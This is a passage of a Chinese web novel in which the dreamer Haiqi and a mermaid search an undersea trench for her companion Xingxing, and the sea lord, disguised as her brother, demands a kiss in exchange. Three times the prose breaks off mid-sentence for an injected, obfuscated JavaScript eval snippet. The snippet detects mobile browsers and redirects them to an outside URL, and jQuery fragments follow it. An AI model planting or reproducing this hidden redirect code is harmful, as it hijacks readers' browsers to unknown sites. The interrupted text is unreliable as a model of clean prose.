依稀还记得沉入海底之前,青凤与幽夜的厮杀还未结束。青凤亲吻了她的额头,不知将什么东西给了她,然后什么也没说清楚,就将她丢进海里。 海旗抬手摸了摸额头,自然是光滑一片,什么也没摸到。 “嗨喽!”一张精致漂亮的小脸蛋俏皮地凑到海旗面前,笑吟吟地伸手打招呼。 海旗终于看全她完整的模样:这是一条个子娇小的小美人鱼,身上遍布蓝紫色的鳞片,身下是纤长有力的鱼尾。鱼尾边缘长着与耳鳍一样透明美丽的长鳍,波光粼粼地随波飘动。 海旗已经不震惊自己的梦境世界里会出现什么生物了,但还是被眼前的美丽生物惊艳到。 她摆摆手微笑回应,刚想开口问话。结果一张口先吞进去一口海水,又是一顿咳嗽。 令人更崩溃的是,在海里能怎么咳嗽呢?只能是又挣/扎着呛进去好几口海水…… 见状,小美人鱼歪着小脑袋托着下巴思索,该如何应对眼前的状况。很快,她打了个响指,眼睛一亮:有了! 只见小美人鱼张大嘴深深吸了一口气(应该是),然后用力一呼。一个硕大的气泡从她嘴里呼出来,将海旗包裹进去。 终于,海旗得救了。 见海旗没事,小美人鱼也开心地笑了,继续围着泡泡好奇地观察这个没见过的生物。 海旗缓过来后,开口道:“你好,请问你是美人鱼吗?” 虽然问了句废话,但是她想每一个真的见到人鱼的人应该都会来这么一句废话的,因为震撼,因为不可置信。 “咦~你会说话呀!”小美人鱼激动得就快将自己也挤进气泡里了,“‘美人鱼’是什么?是你们对我们的称谓吗?那你们又是什么?你好像不能在海里呼吸,你还好吗?” 被人鱼震惊自己会说话,当作稀有生物围观,海旗一时不知该做什么表情好。 她斟酌道:“嗯……我是人类,我们是生活在陆地上的,所以不能在水里呼吸,所以谢谢你的气泡。然后你说对了,‘美人鱼’就是人类对你们的统称。不过我也是第一次见,你真的好漂亮……” 海旗说得越多,小美人鱼越是激/情澎湃,一双大眼睛扑闪扑闪的,鱼尾甩得十分起劲,甚至将气泡推着走了:“哇哦~都是我没听过的耶,好新奇!你再多说点!” “那个,你冷静一下……你有名字吗?我叫海旗,大海的海,旗帜的旗,你可以叫我海旗,我可以叫你什么?” 海旗最招架不住这么热情的女孩子了,脑子一片空白也不知道说些什么好。重要的是,她自己都还没搞清楚状况呢! 而且能跟它讨论一下当下情形,以及关于青凤转变的人——也就是星星,此时此刻并不在自己身边。 方才四周看了一圈,哪里都没看到星星的身影。它不见了! 依稀记得星星说过它可以上天入地下海,它说它长了腮的,所以应该不至于淹死。可是失踪了又是怎么回事? 现在自己脑子一片混沌,水下的环境让自己回想起溺水的恐惧,还遇到一个热情洋溢的美人鱼妹妹对自己好奇心满满,海旗一时之间真的不知道该怎么办了。 “名字啊……那,你可以叫我北冥雪。”小美人鱼认真回答道。 海旗做了个深呼吸,让自己冷静下来不要太慌乱。她伸出手,微笑道:“你好,北冥雪,很高兴认识你。” 小美人鱼看了看海旗伸出的手,又看了看海旗的脸。终于在海旗眼神的示意下,也伸出手握了上去:“这样吗?” “是的。”海旗开心地晃了晃手,“我能问你点事情吗?” 北冥雪一脸巴不得“你尽管问”的神情,说:“当然可以!” 海旗问:“不知道你有看见我的同伴吗?和我一起沉下来的……” 还没说完,北冥雪就激动地插话道:“和你长得一样的同伴吗?” “不是!”海旗忙伸出胳膊比划,“它不是人类,很小一只,跟我小臂差不多吧,长得像个小精灵,身上还长了黑色鳞片。” 北冥雪仔细想了想:“小精灵?没见过耶。没见过你的同伴,也没听过这种生物。” 海旗失望道:“这样啊。” 见海旗情绪低落,北冥雪提议道:“我帮你一起找吧!好吗?” 虽然有人帮忙很不错,可海旗初来乍到,并不知眼前温顺可人的美人鱼实际是不是凶狠的海怪,也不知这片海底是不是与巨虫之森连接的同一世界,还是已经是另外独立的梦境世界。 但此刻海旗还是不想让自己独自面对深海的恐惧,她愿意去相信眼前的美好,于是道:“可以吗?会不会太麻烦了?” 北冥雪开心地手舞足蹈:“不会不会!我就是也想看看你那稀奇的同伴长什么样子。” 在海旗醒来之前,北冥雪正好在附近徘徊。远远看到有个陌生生物在海里飘荡,好奇心驱使下过来好好观察了一番。而根据北冥雪的说法,她是从海底那道大裂沟飘过来的。 “不会吧?” 那道海沟看起来就很不妙,如果可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586010|171752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,海旗不是很想往那里去。 “会的,洋流的流向告诉我,你就是从那儿来的。所以要找到你的同伴,我们得去那里面。”北冥雪肯定道。 海旗担忧道:“里面……会有海怪吗?” 毕竟海底不同森林,森林怎么说也是陆地,加上是自己的梦境世界,多少觉得自己挺牛/逼,不怕死地就猛上去了。 但是现在不行。虽然莫名能在海中呼吸了,但是也就能呼吸,一旦开口就呛水,一呛水内心的恐惧就占据大脑……要是再遇上海怪,真的就是死路一条,没有奇迹。 青凤说还给她的东西,不会就是对溺水的恐惧吧? “不知道,我没去过里面。”北冥雪看起来一点也不担心,还伸手拍了拍海旗的背,“你别怕,我保护你!” 美人鱼妹妹,虽然以貌取人不对,但你看起来真的挺柔弱不能自理的。不过也没其他选择了。 海旗只能笑着安慰自己:“……好的呢。” 北冥雪简单说了一些关于海沟的信息。海沟名为惩戒之渊,是海域之主千年前与海妖的战场,如今经过洋流千年的洗涤,变成破败不堪且无生命光顾的遗迹。 北冥雪歪着脑袋在听海流的声音,说:“上升气流快来了,我们得赶紧进去海沟里!” 惩戒之渊外部被一股猛烈的洋流包裹,要想进去还挺麻烦。恰好这会儿是洋流最温和的时候,温和得都能看清海沟的大概面貌。 接着不等海旗反应,拉着海旗一个甩尾冲破气泡,快速往漆黑的海沟深处游去。幸好海旗反应及时闭上嘴,只用鼻子顺畅地在水中呼吸,免去呛水的滋味。 听说美人鱼是海洋中的游泳健将(虽然不知道在哪儿听说的),拉着海旗很快就突破洋流,来到海沟之中。海沟深处暗淡无光,除了崎岖不堪的裂缝表面,什么也没瞧见。而北冥雪身上的蓝紫色鳞片却在闪闪发光,像童话故事里的人鱼公主一样。 “你怎么一直盯着我看?”北冥雪又再绕着海旗转圈圈,新鲜劲还没过去。 “……咕噜咕噜。”海旗一张口又呛水了,见状,北冥雪又吐了一个气泡将海旗包裹进去。 北冥雪得出结论:“懂了,你在水里说不了话,得在气泡里。” 海旗咳嗽几声,终于缓过来:“是的,再次谢谢你的气泡。” “人类真好玩儿,闻起来也香香的。”北冥雪继续热情十足地观察海旗,“你为什么一直看着我呀?” 海旗夸赞道:“因为你好看,比我想象中的美人鱼还好看。” 没有女孩子能拒绝得了一句真诚地赞美,生活在海洋中的美人鱼也一样。 北冥雪一听果然更开心了,甚至再次上手摸她:“你也好看,我喜欢你的眼睛,黑黑的亮亮的。还有你的头发,是和大海一样的蓝色,而且卷卷的,和我的不一样。” 北冥雪是柔顺的上直发,但是海旗眼中,自己这副样子在人类社会只是普通容貌,头发也不过是人为改造的。 但海旗也由衷地开心:“谢谢你。” 她们在漆黑的海沟中缓步前行,寻找星星犹如大海捞针。 但心里有个声音告诉自己,一定要找到星星,绝对不能丢下星星不管。不知道当初星星又是抱着什么心态找到自己的? 17. 海沟迷行 为了方便在海中游走,海旗将手脚伸出气泡外划拉,像个小乌龟。 还是将头藏在龟壳里的那种。 “气泡应该不会破吧?”海旗担忧道。 北冥雪大方道:“没事的,破了我在给你呼一个。” “好。” 惩戒之渊很深,而越往深处游,裂缝就越发狭窄。激流涌动,深海下的水压不断挤压着海旗,气泡在不断缩小。 “……我们还要继续深/入吗?”海旗喘着粗气问。 气泡里本就稀薄的空气已所剩无几,肺部就快被挤压变形,海旗的意识开始涣散。 “当然!”北冥雪拉着海旗的手,无视汹涌澎湃的洋流,准备一鼓作气冲进海流中心。 “梆——”气泡破了。 北冥雪立刻吐/出一个新的气泡。而海旗已经不省人事地漂浮在其中。 “诶?我就一会儿没看着你啊,你这是怎么了?不会死了吧?”北冥雪从未应对过如此脆弱的生物,一时束手无策。 “……我还活着呢,谢谢。”海旗虚弱地瞟了她一眼,摆摆手道,“继续前进吧,否则一直陷在这里我会死得很快的。” 北冥雪看了看海沟深处,说:“那你忍一忍,我想前面就快到惩戒之渊的中心了,我带你冲进去!” 海旗无力地点点头,只想快点离开这片洋流。 等北冥雪带着海旗冲进去中心地带后,手中却是一空,原本由自己拉着在身后的海旗——不见了! 完了完了,不会是自己不小心脱手将这个新鲜人类甩进洋流去了吧?惩戒之渊里的洋流已经不再温和,方才她就一脸要死不活的样子了,这下不是彻底没了? 北冥雪的脑袋宕机了,好不容易找到一个新鲜物种,还没捂热呢,就撒手没了…… 反观海旗这边,北冥雪拉着她闯进激烈的海流中,新的气泡再次破碎后,一股无形的力量将她带到了一个陌生的空间。 这里似乎不在深海中,海旗是结结实实地摔在地面上。下一瞬,新鲜空气不断涌入肺腑,止不住贪/婪地大口呼吸,感觉如获新生。 缓过来后仔细观察,依然是暗淡漆黑的四周,眼前摆放着一个巨大的——粉白色扇贝。 这是不是不太对? 扇贝壳原本是关闭着,外物侵入的声音唤醒了它,在海旗的注视下如同花儿缓缓盛开。 扁平的扇贝壳中,藏了一个男人,男人安静地沉睡在其中,并没有要苏醒的迹象。 “……海珀?”海旗一眼就认出了那个沉睡着的男人,正是一开始的梦境世界中,和自己一同长大的,虚假的双生哥哥。 海旗的脑子一片空白,是自己太怀念那个幸福美满的世界了吗?所以才让海珀出现在其他梦境空间里? 这个如同睡美人躺在那里的男人,还会醒过来笑着喊自己一声“小旗”吗? 或者说他是活着的吗? 还是说其实只是自己的一个幻觉?又或许是梦魇引诱自己沉/沦的手段? “海珀?还有海旗。确实是个好名字。”一道沉稳低吟的声音出现在背后。 海旗转身寻找声音的来源,警惕地问:“你是谁?” “我吗?”这次的声音在头顶的位置,还多一些黏黏腻腻的爬行声,“不如,我也当当‘海珀’好了。哈哈哈哈哈……” 抬头一看,一滴黏腻的液体顺着一根满是吸盘的触/手,滴进眼中。海旗立刻闭上眼去揉,但除了一开始的一瞬刺痛,并无其他异样感。 “你是什么章鱼海怪吗?你用什么东西滴进我眼睛里了?你想杀我吗?”海旗三连质问道。 “海旗别这样凶嘛,海珀我会伤心的。”章鱼怪松开吸盘,掉落到海旗身上。 “哇哇哇……”吓得海旗手忙脚乱地扒开它,“走开啊!你不要缠我身上来啊!” 但是章鱼的吸盘吸力十足,一旦吸上,根本拔不下来。 如果没有经历巨虫之森,尤其是蟑螂洞窟三日游,海旗已经要犯恶心了。 既然拔不下来,那就用咬的!想到就干,对着环绕在脖颈处的一根触/须,一口下去,成功听见了章鱼怪的惊叫声。结果却是越收越紧,海旗快窒息了。 “阿鱿,松开。”熟悉的声线喝住了章鱼怪。 下一秒,它果然松开了,并爬回扇贝壳旁。 海旗转身与已经坐起来的“海珀”四目相对,马上认定了,眼前这个男人并非真正的海珀。 海旗问:“你是谁?为何要用这副样貌?” “海珀”伸手摸了摸自己的脸,他说:“只是许久未见过人类了。这副容貌你还满意吗?” “……” 这句话怎么那么熟悉呢?与虫主第一次见面时,幽夜也说过一句类似的话。 是巧合吗? 海旗猜测道:“你莫非是……海域之主?” “海珀”挑了一下眉,有些意外海旗一猜就中,勾唇轻笑。 而海旗看着对方用这张脸做出这样挑/逗性的动作,心里异样丛生。如同还身处巨虫之森,意外落入蚁窝,遭万蚁噬咬,又痒又痛。 又见男人起身,走下扇贝壳,慢悠悠踱步到海旗面前。海旗移开视线一步步后退,而男人则伸手捏住其下颌,不让她往后,迫使她与自己对视。 海旗迫不得已开口道:“你……别离我那么近。” “嗯?怎么?”男人闻声顿住了,“不喜欢这样?” 海旗避开眼神接触,小声道:“你这张脸是我哥哥的脸,凑近了我会想打……” 男人看似失望地松开捏住下颌的手:“是吗?”骨节分明的手指往上抚摸过脸颊,将额头凌乱的碎发理顺,往耳朵别过去。 “哥哥?” 海旗睁大眼睛,震惊地瞪着“海珀”这张脸。这个整理头发的小动作,在她目前的记忆里,只有作为哥哥的海珀对她做过。 手指抚摸留下的温度,将头发别到耳后前,将发丝在手指上缠绕一圈的细节,梳理的角度,都是那么熟悉,毫无偏差。 “海珀”笑着在她面前伸出手:“嗯。要跟哥哥回家吗?” 海旗鬼使神差的就要伸手握住,但将手搭上去的前一刻,还是停住了,转头拔腿就跑,往洞窟深处去。 望着落荒而逃的背影,那个章鱼怪问道:“老大,要追吗?” 男人邪恶一笑,下一瞬恢复了原本的样貌,道:“不用。” 海域之主看着自己手中摩挲着一样黑色的物品,海旗要是看到,准能认出来,那是星星的鳞片。 不知道跑出去多远,直到脚都软了才气喘吁吁地扶着墙停下。洞窟很长,黑漆漆地望不到头,找不到出口。 停下来回想起方才自己一瞬间的想法,她是真的想和海珀回到那个虚假的幸福生活中去。 可假的就是假的,海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586011|171752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旗不想要。 静下心来后,海旗闭上眼,尝试发动控梦之术,想着要离开这个洞窟。 感受着身边环境变化,海流挤压身体难受的感觉又回来了。 海域之主企图用海珀那张脸迷惑自己,却在无形中坚定了海旗要回到现实的心。而这趟旅程必不可少的就是星星,她得快些把星星找回来。 再睁开眼,这里应该是惩戒之渊的中心,与外围的裂缝不同,这里是明亮的。 中心处伫立着一座高大的人鱼雕像,健硕且柔韧的身躯扭曲着,象征海神的三叉戟紧握在手中,威严地望着眼前万物,高贵神圣。 雕像的胸口处,镶嵌着一颗夜明珠,此处的光亮正是来源于它。 “呀!人!你还活着呢!”北冥雪激动的声音从暗中蹿出来,不用转身,海旗已经被她的鱼尾缠上了。 海旗无奈地任之上下其手,主要想挣脱也挣不开。 “海旗,你去哪儿了?怎么又突然出现在这里了?我还以为你被海流撕碎了呢!”北冥雪上下左右看了一圈,也没见海旗有受伤什么的,“你怎么不说话?” 海旗无奈地指了指自己的嘴,又摆摆手,提醒她自己在水中无法说话。但北冥雪眨着一双明亮的大眼睛无辜地盯着海旗的动作,没有下一步动作了。 两人大眼瞪小眼地对视良久,海旗又重复了一遍自己的动作,北冥雪还是歪了歪脑袋,显然还是没明白。 重复几次后,海旗放弃了,越过北冥雪往雕像那儿走过去。 而北冥雪终于:“哦!哦哦哦哦!我想起来了,你在水里不能说话!” 等一个新鲜的气泡包裹住海旗之后,北冥雪说:“我忘性大,不好意思啊。” 是因为鱼的记忆只有七秒吗?那没完全忘了自己是因为对陌生生物的新鲜感还没过去吧。 海旗说:“没关系,我理解的。刚才被洋流卷到其他地方去了,我也不知道是哪儿。” 海旗没有坦白自己遇到了什么,随意敷衍了过去。 北冥雪也没那么在意:“好吧,那你有找到你的同伴吗?”在她周围张望一圈后,“好吧,显然没有。” 海旗指了指前面的雕像:“那个雕像,是海域之主吗?” 北冥雪的意识被吸引着看过去,已经好奇地甩尾游过去仔细观摩了。 “不知道,没见过这个。而且我也不认识海域之主长什么样。” 海旗:“哦。”说不定你是自己忘记了呢妹妹。 海旗又问:“对了,你多少岁了?” 北冥雪说:“多少岁?不知道,没算过。但是我应该几百岁了吧。那你呢?” “……”海旗沉默了,“我十八岁。” 原来不是妹妹啊,这个长相太具有欺骗性了。 “咦!真的吗?十八?真的?”北冥雪也非常震惊,一只手放在那颗夜明珠上,猛地一用力,“你没骗我吧?” “没骗你,要不你先放开那颗夜明珠?”海旗怕她将那颗夜明珠捏坏了,直觉告诉自己这会非常不妙,“人类的寿命大多不过百年。我这个年级正是最青春靓丽的年纪。” 北冥雪松开手,但海旗看见夜明珠有了裂痕,已经完了。 两秒后,夜明珠碎了。海底瞬间一片地动山摇,海流凶猛,出现一个漩涡将她们往里吸。 北冥雪这回将海旗紧紧抱住,生怕自己找到的稀奇宝贝再次丢失。 18. 海沟继续迷行 夜明珠光芒大盛,亮眼的光使人眼睛难以睁开。漩涡之中又是极黑,有那么一瞬间,眼前是一片混沌。 几秒后,瞳孔重新聚光。很快,海旗就发现,自己又回到了刚才离开的那条甬长的隧道。 洞穴中没有海水,又不是陆地,更像是一个独立的异空间。 北冥雪松开海旗,鱼尾“啪嗒”一声砸在泥地上,像缺水的鱼儿下一秒就要翻腾。 北冥雪问:“这里是……陆地吗?” 海旗起身拍了拍身上沾染的泥土,无法给出明确解析,犹豫道:“我也不知道,但应该……不是吧,我们刚还在深海中呢。” “哦。” 北冥雪很快就接受了现状,还像只小猫似的东摸西嗅,好奇地观察周围。注意到海旗走路的姿势后,兴奋地甩着鱼尾蹦过来:“哇~这是你们在陆地上游走的方式吗?” 海旗纠正她:“是行走。” “噢噢,知道了。”北冥雪随口一应,又两眼放光地看了好一会儿。然后继续自己的探索行为。 这隧道里狭长且崎岖,还没有岔路口,海旗无法断定现在她们的所在区域与之前自己见到海域之主时的位置有多远。 如果可以,海旗不想回到那个有扇贝壳的位置。 明明离了水,但这并未对北冥雪造成什么困扰,她一蹦一跳地还挺享受当下的状态。见她似乎在找什么的样子。海旗问她:“你在找什么东西吗?” “你怎么知道?”北冥雪诧异地回头看她。 海旗不想再解释过于明显的答案,干笑道:“是刚刚摔下来掉什么东西了吗?” “不是,”北冥雪摇摇头,表情掠过一丝伤感,“好久以前丢的了,一直没找到。” 海旗奇道:“丢这儿了?你来过这里?” 北冥雪迷茫了。良久后摇摇头:“我不记得了。” “……” 海旗走到她身边,抬手轻轻拍了拍她的背,以示安慰。 北冥雪疑惑道:“你为什么要拍我?”仔细感受了一下又说,“感觉怪怪的,心里好像没那么难受了。” 海旗的手顿了一下,说:“我难过的时候,我哥哥也是这么拍我的背的。你就当这是只有人类才会使的魔法吧。” 北冥雪似懂非懂地点点头。 她真的不太会和性格活泼热情的姑娘相处,自己总觉得招架不住。她们的心里好像没有任何烦恼,因为有什么烦恼直接就开口说出来了。 同时内心又是羡慕着的。在海旗看来,这些姑娘的心就是竹篮编的吧,将不开心的泪水过滤掉,只装得下沉甸甸的爱和善意,还能余出来分给他人。 海旗说:“你弄丢了什么?我和你一起找吧?” “真的吗?”北冥雪那双大眼睛离了海水也水灵灵、亮晶晶的,在黑暗中十分显眼。 又来了,海旗后退了两步。 但下一秒眼里的光就暗淡了,小嘴巴也瘪瘪的,叹了口气道:“但是我已经不记得我弄丢了什么,也不记得在哪里弄丢的了,也不记得弄丢多久了……” 不知道丢了什么,不知道找了多久,也不知道还能否找回来,就这么盲目地寻找,甚至已经成了肌肉记忆,来到一个陌生的地方,身体下意识地就要四处寻找。 原来北冥雪一开始的行为就不全是单纯地好奇啊。 “丢失的物品对你来说很重要吧。”海旗说。 北冥雪用力地点点头,说:“是的!我的心就是告诉我的,我一定要找到它才行!” 海旗说:“我陪你一起找。我还得把星星先找回来呢。” 反正这里是她的梦境空间,找一个美人鱼丢失的物品,怎么说也比找自己的意识体要容易得多。 “星星就是我前面跟你说过的走失的同伴,它的名字叫星星。”在北冥雪问之前,海旗率先给出解释,然后随意指了左边的路,“我们往那边走吧。” 反向的甬道中,一双浅色的眸子盯着她们远去的背影。 海旗察觉到背后有什么,一回头却还是一片空洞。又往前走了几步后,再次回头,指着相反的甬道,说:“北冥雪,我们还是走这边吧,直觉告诉我这边会有线索,我们还能打听一下要找的伙伴和失物的信息。” “那走吧。”北冥雪立即转身蹦在海旗前头,谁知道路不平,鱼尾一歪,倒在地上。 海旗眼疾手快地扶住,抓过北冥雪的手挽着:“我还是扶着你吧。” “哇啊啊~人!你真好!”北冥雪感动道。 这个叫法跟家里被娇养的小猫咪和它的仆人开口说话了一样,一旦具象化在眼前还挺别扭的。 海旗起了一身鸡皮疙瘩,无奈道:“……你可以称呼我的名字吗?” 北冥雪蹭了蹭海旗脖颈处:“好的呢,海旗~” 突然,海旗脚步一顿,自己有养过小猫吗? 北冥雪疑惑:“怎么了?” “没什么,我们走吧。” 这段路走得挺辛苦的,北冥雪只能靠鱼尾发力蹦着走,海旗扶着她也被迫蹦着小跳。走了好长还走不到终点,甬道仿佛没有任何变化。 北冥雪浑身已经干透,鱼尾的鳞片被刮掉了不少,喘气声越来越重。 海旗说:“要不我们回海里吧。” “那不行,我们还没找到线索呢。”北冥雪停下来,一手撑着墙,靠在海旗身上缓和,“而且你有办法回去吗?” 海旗:“我有的,只要你肯相信我。” “我相信你,等我撑不下去了我就叫你带我回海里。”北冥雪又往前蹦了两下,“噢!什么东西那么硌我尾巴?” “我帮你看看。”海旗蹲下查看,北冥雪配合着将尾巴翻转过来。 只见一片小小的墨色鳞片非常突兀的镶嵌在通体蓝紫色的鱼尾上。海旗小心翼翼地将其拔/出来,眼睛都瞪圆了。这无疑是星星的鳞片。 虽然线索立马就出现了,但海旗心中预感十分不妙。究竟是何情况让星星的鳞片脱落在此?星星是否遇到了危险?是被海怪袭击了吗? 北冥雪也凑前来看:“这是什么?” 海旗说:“还记得我跟你说过的吗?我的同伴星星,它身上长的黑色鳞片,就是这样的。” 北冥雪迷茫地望着鳞片:“我忘了……但是这鳞片比我的下好多。” “谁在那边?”海旗突然喝道,转头警惕地看着前方。 “小旗,你这么凶,吓到哥哥了。”属于海珀的熟悉声线从黑暗中传出来。 海旗的心突地一跳,又是这个假扮海珀的海域之主。他到底从何得知海珀的存在的?两个梦境世界莫非是共通的?还是说他窥/探了自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15597730|171752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的记忆? 北冥雪小声地在耳边问:“这个是坏蛋吗?” “对我来说是的,”海旗想了想,“但对你不一定。因为他是你们的海域之主。” “诶!”北冥雪大叫道,“海域之主?真的吗?” 男人已经出现在视线之中,朝北冥雪挑了一下眉。 北冥雪的大眼睛又明亮了,一下子忘记了疲惫,蹦到男人面前,上下左右看了好几圈。男人也不反感,任由对方打量,视线却直直地望着海旗。 “小旗……” “请不要这么叫我。”海旗快速打断男人的话。 北冥雪指着男人的脸和海旗说:“他和你一样是人类吧?而且你们长得好像,他真的是海域之主吗?” 海旗辩解道:“那是他的伪装!这张脸是我哥哥的,所以才会长得像。他是海域之主可是他亲口承认的,真身应该长我们在外面见过那个雕像的样子。” “好吧,那我信你。”说完蹦回海旗身边,敌视地瞪着男人。 虽然我说的是真的,但少女你未免相信得太快了?太没有实感了。 “……谢谢您的信任。” 海旗尽量无视属于海珀的这张脸,开口道:“不知海域之主现身是有什么指示?” “你叫得如此生疏,哥哥心里真的好难过。”男人将双手放在心口处。白衬衫就没扣几个扣子,胸口处是敞开的,卷翘的发尾搭在锁骨上,手指用力在心口上抓出几道红印子。 “请问你这是在搞什么play?”海旗真的很想问出这句话,话到嘴边还是吞下去了。 万一这个海域之主和虫主幽夜是一路的,海旗不认为自己打得过,也不认为北冥雪和青凤是一个定位能打得过。 “海旗,他到底在干嘛?我怎么看不懂?”北冥雪不愧是大大咧咧的天真俏皮小美人鱼。 海旗给她竖起了大拇指,说出了她不敢说的话。 “罢了。”男人放下手,面色一秒恢复冷漠,一手插兜,优雅地坐下。 还以为他要悬空坐在空气中,海旗正想在心中好好嘲笑一番。谁知四周突然宽敞明亮,身下出现粉白色的珍珠蚌壳,男人稳稳地坐了上去。 ……居然不是扇贝壳了。 男人坐得也不正经,跷着二郎腿歪着身子往前倾,说:“我抓了一只稀罕物,似乎与你相识。” 海旗问:“你说的是星星?” 北冥雪也举手提问:“稀罕物?到底有多稀罕?” 只见海域之主往侧边一伸手,一只肉红色的章鱼触/手卷着一团小东西,将其缓缓放在男人手上。 男人的手掌宽大,星星蜷缩成一团熟睡着,被稳稳托在手心。 “你可知这是什么?”男人问。 海旗点头:“知道,她是我的伙伴——星星。” “我问的可不是这个。”男人将手中的一团放在蚌壳中,“她是何物种?” 海旗说:“她是小精灵。”虽然星星本人并不认可。 男人问:“当真?” 北冥雪又问:“小精灵又是什么?” 海旗说:“自然,请您将她还给我。” “我不做无意义的交涉。想要回你的伙伴,你能拿什么来换?”男人伸出一根手指,放在唇上,眼神中是魅惑,“不如,用你的吻……” 19. 交换作战 海旗坚定地摇头拒绝:“请您不要挑战我的道德底线,我不接受不伦之吻。” 北冥雪虽然不太看得懂发生了什么,但眼神火热地看看海旗,又看看海域之主的方向,非常期待下一步会发生什么。 男人认真考虑道:“怎么?不喜欢‘哥哥’这张脸?用我的原本的样貌也不是不行……” 听到前面两句,海旗恼道:“这不是重点吧?” 听到接着的第三句,海旗又说:“但是请你不要再用这张脸了,换掉吧!” “我……偏不!”男人对海旗变化无常的反应很是受用,勾唇笑了笑。 海旗打着商量:“这样,你如果就想要我用一个吻来交换也不是不行,你就换回你本来容貌,我可以亲你。” 暗中偷偷使控梦术想将星星转移过来。 男人摸了摸下巴,认真思考这个提议的可行性。 精神紧绷许久,星星依然好好的地睡在原位没有动静,不知为何,控梦术又失灵了! “好,我允许你的提议。”男人说。 为什么这个海域之主一口虫主味儿?他们不会是同一个人吧? 海旗放弃用失灵术了,别无他法,只能智取。 “还不知海域之主尊姓大名?我得对我的吻的去向心里有个数。” “吾名,幽……”狭小的空间又是一阵光芒大盛,掩盖了最后一个字的发音。 幽? 海域之主全身被一层蔚蓝色光芒覆盖,刺得人睁不开眼。 海旗从指缝中窥视其真容,妄想抓住与幽夜一瞬的相像。 随着光芒退却,珍珠蚌中的一条有着幽蓝色彩的雄伟人鱼,如瀑的幽蓝长发流淌在贝壳上,浑身赤/裸,又被幽蓝鳞片覆盖。与北冥雪一样,耳后以及手臂、跨步是纤长透明的鳍。但鱼尾又与北冥雪不同,他竟然拥有着一双人类的大长腿,被美丽的幽蓝鳞片覆盖。 海旗的眼睛往中间的位置瞄了一眼,竟然没有看到不该看的东西。一时好奇,他藏哪儿去了。 不对,现在不是想这些的时候! “吾名——幽野。旷野之野。”不知为何,他还特地解释了一下。 这名字与海洋好不搭,与巨虫之森似乎更搭。你俩莫不是兄弟吧,还幽夜幽野呢,玩绕口令吗?海旗在心里忍不住吐槽。 不过他的气质与幽夜不同,长相也不同。至少感觉上幽野没有了那股阴森可怖感,除了海洋霸主的雄威外,看起来还挺……如沐春风的。 “……啊,那我可以直接叫你的名字吗?”海旗谨慎地问。 幽野微笑道:“当然,我允许你唤我之名。” 甚至是双胞胎兄弟吧这两人?说的话一模一样? “好,那……幽野,”海旗的嘴拐了一下才把名字叫准,“你准备一下,我要过来亲你了。” 说完也不等对方反应,快步上前,猛地凑近往其脸颊上重重来了一口。 北冥雪眨着她那双标志性的闪亮大眼:“哇哦~爱看!” 海旗手一抄,往星星的位置抄去就要夺回伙伴。谁知幽野一个响指,章鱼爪从暗处伸出来将星星卷走了。 “你要出尔反尔吗?海域之主?”海旗气愤道。 幽野摸了摸脸颊上残留的柔软,歪了歪头,食指挑起海旗的下巴,凑近道:“谁说的亲脸颊?” 海旗后仰,辩解道:“亲脸颊你还嫌不够?那不然亲额头?” 幽野啧了一声,捏着海旗的下巴,将人拉近,头一低,双唇触碰,直接亲身示范。 海旗:“……唔?” 北冥雪:“哇——” 没有停留多久,幽野就退开了,看着海旗瞪大的双眼,说:“明白了吗?明白了你来。” 但海域之主这个眼神在海旗的解读下是这样的:人类,我要的吻是这样的,嘴对嘴的,你是不是不懂?现在我给你亲身示范了,你明白了吗?得按这个标准来。 海旗感觉自己被鄙视了。 要不是他身上没穿衣服,高低拽着他的领子亲回去。 “幽野是吧,您的心跳挺快啊。” 海旗抓住捏着自己的那只手甩开,滑溜溜地跟抓鱼的手感一样。另一只手往他胸口一推,幽野就顺势倒在柔软的蚌壳上。 至于蚌壳为什么是柔软的,海旗不想深思了,满脑子就是要把被占的便宜夺回来。 跨坐在其身上,一手盖住双眼,一手撑在蚌壳上,闭目俯身含/住幽野的下/唇,柔软且潮湿的海洋气息扑面而来。海旗还伸出舌头撩拨了一下对方的唇,停留了好几秒才起身推开。 海旗用胜利的眼神居高临下地看着躺在蚌壳上的幽野,神气道:“这!才叫吻!明白了吗?”海洋生物。 最后的四个字当然没有说出口,说出口可就惹众怒了。 北冥雪不知道什么时候已经蹦到蚌壳旁边,双手也虚捂着眼,但眼睛睁得大大地从指缝中光明正大地偷看。 “哇哦——还亲吗?还想看。” “……” 海旗从幽野身上下来,拉着北冥雪回到原位,说:“吻你已经得到了,把星星还我。” 幽野却还躺在蚌壳上不动,章鱼怪没有老大的命令也不敢轻易放人。 一时之间,气氛在沉默中陷入了诡异的僵直。 